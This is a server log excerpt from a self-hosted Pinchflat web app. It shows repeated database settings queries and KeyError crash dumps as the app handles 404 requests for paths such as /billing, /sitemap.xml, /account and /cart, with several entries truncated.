s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:39:42.931 [debug] QUERY OK source="settings" db=0.2ms idle=662.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:39:42.932 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 06:39:42.932 [info] GET /sitemap.xml 06:39:42.932 [debug] QUERY OK source="settings" db=0.1ms idle=662.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:39:42.932 [debug] QUERY OK source="settings" db=0.1ms idle=585.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:39:42.933 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 06:39:42.932 [error] #PID<0.16390.0> running PinchflatWeb.Endpoint (connection #PID<0.16375.0>, stream id 15) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /billing ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /billing (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.16375.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/billing", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 33508}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 15, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.16390.0>, params: %{}, path_info: ["billing"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept", "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/billing", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKGYTJoYH0SPM9YAA_cC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.16375.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/billing", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 33508}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 15, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /billing (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.16375.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/billing", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 33508}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 15, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.16390.0>, params: %{}, path_info: ["billing"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept", "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchf (truncated) 06:39:42.933 [error] #PID<0.16392.0> running PinchflatWeb.Endpoint (connection #PID<0.16391.0>, stream id 1) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /sitemap.xml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sitemap (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.16391.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sitemap.xml", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 44654}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.16392.0>, params: %{}, path_info: ["sitemap"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/sitemap.xml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKGYTJoqUUu4PHAAB5SB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.16391.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sitemap.xml", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 44654}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sitemap (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.16391.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sitemap.xml", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 44654}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.16392.0>, params: %{}, path_info: ["sitemap"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/sitemap.xml", resp_body: nil, resp_cookies: %{}, resp_headers: [ (truncated) 06:39:42.976 [info] GET /account 06:39:42.976 [debug] QUERY OK source="settings" db=0.1ms idle=628.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:39:42.976 [debug] QUERY OK source="settings" db=0.0ms idle=45.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:39:42.976 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 06:39:42.977 [error] #PID<0.16393.0> running PinchflatWeb.Endpoint (connection #PID<0.16391.0>, stream id 2) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /account ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /account (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.16391.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/account", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 44654}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 2, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.16393.0>, params: %{}, path_info: ["account"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept", "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/account", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKGYTJzKBHQTBb0AA_eC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.16391.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/account", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 44654}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 2, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /account (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.16391.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/account", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 44654}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 2, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.16393.0>, params: %{}, path_info: ["account"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept", "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat. (truncated) 06:39:43.145 [info] GET /cart 06:39:43.145 [debug] QUERY OK source="settings" db=0.1ms idle=212.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:39:43.145 [debug] QUERY OK source="settings" db=0.0ms idle=212.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:39:43.145 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 06:39:43.146 [error] #PID<0.16394.0> running PinchflatWeb.Endpoint (connection #PID<0.16391.0>, stream id 3) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /cart ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /cart (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.16391.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/cart", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 44654}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 3, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.16394.0>, params: %{}, path_info: ["cart"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept", "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/cart", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKGYTKbcVcKo9WAAA_gC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.16391.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/cart", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 44654}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 3, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /cart (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.16391.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/cart", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 44654}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 3, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.16394.0>, params: %{}, path_info: ["cart"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, 